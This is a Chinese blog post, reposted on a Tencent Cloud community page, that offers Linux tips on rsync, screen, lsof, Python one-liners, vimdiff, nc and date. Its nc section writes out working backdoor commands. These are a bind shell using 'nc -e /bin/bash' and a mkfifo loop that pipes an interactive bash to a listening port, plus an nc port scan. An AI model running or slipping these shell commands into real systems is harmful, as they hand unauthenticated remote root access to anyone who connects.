前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >这些傻白甜的Linux命令,不会有人教你!

这些傻白甜的Linux命令,不会有人教你!

作者头像
xjjdog
发布2022-09-26 09:53:38
3780
发布2022-09-26 09:53:38
举报
文章被收录于专栏:架构专题

原创:小姐姐味道(微信公众号ID:xjjdog),欢迎分享,转载请保留此信息。

Linux上的命令非常多,为了掌握它,很多同学耗尽了自己的脑细胞,憔悴了自己的容颜,结果记忆了一大堆垃圾命令,用过之后就忘了哈哈。

xjjdog在以前整理过一批最常用的Linux命令,更编写了一篇长长的Linux教程文档。可以说,只要掌握了这些,Linux的命令就可以玩的和转了,就像哪吒的风火轮一样。

但是本文,我将介绍另外几个命令,会让你的Linux技能更上一层楼。这几个命令的应用场景,几乎没人会教你。

rsync

如果你使用过cp,那一定知道scp。cp的适用范围是单机,而scp可以实现跨机器复制。比如:

代码语言:javascript
复制
scp -Crvp -l 1024 logs/ root@remoetserver:/opt/logs

其中,-C是压缩的意思;-r是循环传输整个目录;-p表示保留原文件的一些属性;-l表示限制贷款(kb/s);-v表示显示详细进程。

但如果你传输的文件非常的大,比如每天上T的日志文件,你不可能每次都把这些文件传输一遍,所以增量备份会成为一个首要的需求;当然,如果在拷贝过程中,能够排除一些文件,那是再好不过了。它们之间还有两个小区别:rsync默认是只拷贝有变动的文件,scp是全量拷贝,所以rsync很适合做增量备份。另外,scp是加密传输,而rsync不是。

这种场景,rsync就派上用场了。例如:

代码语言:javascript
复制
rsync -prz --exclude 'bin' --bwlimit=1024 logs/ root@remoetserver:/opt/logs

同样的,-r表示递归;-p表示保留属性;-z表示开启压缩;--bwlimit表示带宽限制;而--exclude就可以指定我们要忽略的文件。如果你想要看拷贝进度的话,可以加入--progress参数。

screen & tmux

如果你费了九牛二虎之力登录了公司的服务器,结果发现只能打开一个黑漆漆的窗口。如果再开一个的话,就需要重复相同的过程。后者合上电脑,ssh就断开了,是不是感觉很无助?

即使是Ctrl+z和fg配合,也只能让某一个命令在后台运行。

screen可以避免这些问题,很多Linux发行版中都预装了。当然,tmux是更高级版本,但你可能没有权限安装它。

直接执行screen命令,就可以开启一个新的screen session。下面演示一个普通的流程。

代码语言:javascript
复制
# 1 使用screen进入命令
screen vim /etc/hosts
# 2 在 screen 终端 下 按下 Ctrl+a d键,这将退出编辑窗口
# 3 显示已创建的screen终端 
screen -ls
# 4 连接 screen_id 为 14000 的 screen终端
screen -r 14000

lsof

在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。lsof就是一个可以查看所有关联文件的命令,非常好用。

默认的lsof会列出系统中所有的正在被使用的文件,这通常是巨大的。所以它提供了很多过滤条件。

比如-p 指定进程号;-u 指定用户名;-i 列出所有的网络链接。

常见的命令如下:

代码语言:javascript
复制
# 1. 列出进程123和456所对应的文件信息
lsof -p 123,456
# 2. 列出所有的tcp链接
lsof  -i tcp
# 3. 查看占用了8080端口的进程信息
lsof -i :8080

python -m

python是个好工具,尤其是它内置了很多一句话的服务。

比如,你想要临时在服务器上开启一个HTTP服务,但又不想安装Nginx或者Tomcat这么笨重的东西,那么就可以使用Python临时开启一个。

代码语言:javascript
复制
python3   -m http.server 9080
Serving HTTP on :: port 9080 (http://[::]:9080/)

这将在启动命令行的目录开启一个HTTP服务。

如果你想要格式化一个json字符串,那么可以使用json.tool。

代码语言:javascript
复制
python -m json.tool

使用它,将非常方便的完成json格式化,再也不用访问浏览器了。

vimdiff

很多人使用vim来编辑文件,但很少人知道vim也可以对比两个文件。

相对于diff命令来说,vimdiff获取的结果是彩色的。直接编辑两个要对比的文件即可。

代码语言:javascript
复制
vim file1 file2

vim会尽力保证两侧文件的对齐。当你滚动一边数据的时候,将会带动另外一边同时滚动。

  • ]c 下一个差异点
  • [c 上一个差异点

nc

netcat这个工具,简称nc,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename掉,或者给000的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且极其方便。

nc的参数非常非常多,如果列出来,会让你失去兴趣,白白错过了这么厉害的工具,也错过了进局子的机会。我们还是以案例来说明,这款不到1MB的命令,为什么俘获了xjjdog的芳心。

下面的命令,将在机器上开放5879端口。服务端:

代码语言:javascript
复制
# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879

这个过程叫做反弹shell,远程就可以使用nc命令连接,做一些事情。

客户端:

代码语言:javascript
复制
# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

在服务器上,执行下面两个命令,这就构造了一个循环。

代码语言:javascript
复制
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l  5879 > /tmp/f

客户端nc连接以后,竟然直接出现了命令行操作终端!

代码语言:javascript
复制
$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#

你可能会说,我客户端关掉之后,为什么服务端的命令也退出了?如果你想要服务端继续监听,可以加上参数-k

如果你想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps一下看一下进程,或者使用netstat -antl看一下监听的端口。

只需要简单的打上ip和端口,它就能知道结果。

代码语言:javascript
复制
# nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!

当然,它也可以扫描主机的端口开放情况。不过对程序员来说用的不多。

代码语言:javascript
复制
nc -vzw 2 192.16.1.54 8888-9999

更多的关于nc的知识,可以参见这篇文章。

nc很强大,容易让人蹲号子

将Unix时间戳变可读

如果你获取到一个Linux时间戳,那么你可能希望知道它到底是什么时间。

虽然有很多网络工具可以帮助你做这些事,但它们太慢了。我们直接使用date命令就可以达到。

看下面。

代码语言:javascript
复制
date -d @1658054000 +'%Y-%m-%d %H:%M:%S'

你可以创建自己的常用命令把后面的替换了。对于macbook来说,不是d参数,而是r参数,效果是一样的。

代码语言:javascript
复制
date -r 1658054000
Sun Jul 17 18:33:20 CST 2022

systemctl

关于systemd,我们在另外一篇文章中说明。这里补充一个好用的命令,可以看到当前服务器中都有哪些可以执行的服务。

代码语言:javascript
复制
systemctl -l -t service | less

End

以上就是我稍加补充的几个Linux效率工具。从上图的一个调查科可以看出,有太多的人在使用Linux的命令行。MacOS的很多指令已经和Linux趋同,所以这个范围会更大一些。

掌握一些常用的Linux命令,可以让你的工作完成的更快更迅速。而那些不常用的命令,只会吞噬你宝贵的时间。本文告诉你的,都是工作中的经验之谈,没有书生气,也没有长篇大论的参数罗列。只谈你最常用的,因为我懂你。

作者简介:小姐姐味道 (xjjdog),一个不允许程序员走弯路的公众号。聚焦基础架构和Linux。十年架构,日百亿流量,与你探讨高并发世界,给你不一样的味道。我的个人微信xjjdog0,欢迎添加好友,进一步交流。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-07-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小姐姐味道 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • rsync
  • screen & tmux
  • lsof
  • python -m
  • vimdiff
  • nc
  • 将Unix时间戳变可读
  • systemctl
  • End
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档